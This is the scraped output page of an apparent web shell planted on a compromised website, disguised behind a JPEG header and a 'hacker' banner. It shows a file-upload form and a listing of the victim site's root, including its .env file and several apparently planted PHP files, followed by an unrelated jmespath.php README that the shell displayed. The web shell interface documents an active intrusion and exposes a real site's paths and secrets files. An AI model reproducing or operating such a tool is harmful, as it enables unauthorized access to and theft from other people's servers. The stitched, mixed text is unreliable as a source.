ÿØÿÛ C   iamH4CKEERRRRRRRRRRRS

I am a hacker in the dark of a very cold night

path :/home/stechedu/htdocs/stechedu.com

upload file:

List of files:

name file size edit permission action
.editorconfig258 KBAugust 13 2024 21:03:020770
.env1340 KBNovember 09 2024 13:13:000770
.env.example1213 KBAugust 13 2024 21:03:020770
.gitattributes186 KBAugust 13 2024 21:03:020770
.htaccess466 KBAugust 13 2024 21:03:020770
.well-known-July 10 2025 23:46:460750
11.php70548 KBJuly 01 2025 20:07:370644
Modules-November 04 2024 11:42:060755
README.md80 KBAugust 13 2024 21:03:020770
admin-link.php17837 KBJuly 21 2025 17:21:090644
app-November 04 2024 11:42:060755
artisan1686 KBAugust 13 2024 21:03:020770
aws.php188721 KBJuly 21 2025 17:21:090644
bootstrap-November 04 2024 11:38:260777
composer.json2932 KBSeptember 19 2024 12:33:020770
composer.lock415525 KBSeptember 19 2024 12:33:020770
config-July 02 2025 03:17:170777
database-November 04 2024 11:42:060777
index.php13824 KBJuly 02 2025 01:57:550770
ktq.txt1 KBJuly 02 2025 01:58:010644
lang-November 04 2024 11:38:260777
main.php302 KBJuly 05 2025 04:22:240644
modules_statuses.json775 KBAugust 26 2024 12:34:260770
package-lock.json72682 KBNovember 09 2024 12:47:510770
package.json481 KBAugust 13 2024 21:03:020770
phpunit.xml1084 KBAugust 13 2024 21:03:020770
postcss.config.js93 KBAugust 13 2024 21:03:020770
public-July 12 2025 06:01:050777
resources-November 04 2024 11:42:070755
robots.txt986 KBJuly 23 2025 17:38:000644
routes-November 04 2024 11:38:260777
server.php541 KBAugust 13 2024 21:03:040770
ss.php17569 KBJuly 02 2025 03:06:060644
storage-November 04 2024 11:42:080755
tailwind.config.js541 KBAugust 13 2024 21:03:040770
tests-November 04 2024 11:42:080777
tmp.zip3878 KBJuly 21 2025 17:21:090644
vendor-November 04 2024 11:42:120777
version.json26 KBOctober 15 2024 18:29:320770
vite-module-loader.js1397 KBAugust 13 2024 21:03:060770
vite.config.js310 KBAugust 13 2024 21:03:060770
============ jmespath.php ============ JMESPath (pronounced "jaymz path") allows you to declaratively specify how to extract elements from a JSON document. *jmespath.php* allows you to use JMESPath in PHP applications with PHP data structures. It requires PHP 7.2.5 or greater and can be installed through `Composer `_ using the ``mtdowling/jmespath.php`` package. .. code-block:: php require 'vendor/autoload.php'; $expression = 'foo.*.baz'; $data = [ 'foo' => [ 'bar' => ['baz' => 1], 'bam' => ['baz' => 2], 'boo' => ['baz' => 3] ] ]; JmesPath\search($expression, $data); // Returns: [1, 2, 3] - `JMESPath Tutorial `_ - `JMESPath Grammar `_ - `JMESPath Python library `_ PHP Usage ========= The ``JmesPath\search`` function can be used in most cases when using the library. This function utilizes a JMESPath runtime based on your environment. The runtime utilized can be configured using environment variables and may at some point in the future automatically utilize a C extension if available. .. code-block:: php $result = JmesPath\search($expression, $data); // or, if you require PSR-4 compliance. $result = JmesPath\Env::search($expression, $data); Runtimes -------- jmespath.php utilizes *runtimes*. There are currently two runtimes: AstRuntime and CompilerRuntime. AstRuntime is utilized by ``JmesPath\search()`` and ``JmesPath\Env::search()`` by default. AstRuntime ~~~~~~~~~~ The AstRuntime will parse an expression, cache the resulting AST in memory, and interpret the AST using an external tree visitor. AstRuntime provides a good general approach for interpreting JMESPath expressions that have a low to moderate level of reuse. .. code-block:: php $runtime = new JmesPath\AstRuntime(); $runtime('foo.bar', ['foo' => ['bar' => 'baz']]); // > 'baz' CompilerRuntime ~~~~~~~~~~~~~~~ ``JmesPath\CompilerRuntime`` provides the most performance for applications that have a moderate to high level of reuse of JMESPath expressions. The CompilerRuntime will walk a JMESPath AST and emit PHP source code, resulting in anywhere from 7x to 60x speed improvements. Compiling JMESPath expressions to source code is a slower process than just walking and interpreting a JMESPath AST (via the AstRuntime). However, running the compiled JMESPath code results in much better performance than walking an AST. This essentially means that there is a warm-up period when using the ``CompilerRuntime``, but after the warm-up period, it will provide much better performance. Use the CompilerRuntime if you know that you will be executing JMESPath expressions more than once or if you can pre-compile JMESPath expressions before executing them (for example, server-side applications). .. code-block:: php // Note: The cache directory argument is optional. $runtime = new JmesPath\CompilerRuntime('/path/to/compile/folder'); $runtime('foo.bar', ['foo' => ['bar' => 'baz']]); // > 'baz' Environment Variables ^^^^^^^^^^^^^^^^^^^^^ You can utilize the CompilerRuntime in ``JmesPath\search()`` by setting the ``JP_PHP_COMPILE`` environment variable to "on" or to a directory on disk used to store cached expressions. Testing ======= A comprehensive list of test cases can be found at https://github.com/jmespath/jmespath.php/tree/master/tests/compliance. These compliance tests are utilized by jmespath.php to ensure consistency with other implementations, and can serve as examples of the language. jmespath.php is tested using PHPUnit. In order to run the tests, you need to first install the dependencies using Composer as described in the *Installation* section. Next you just need to run the tests via make: .. code-block:: bash make test You can run a suite of performance tests as well: .. code-block:: bash make perf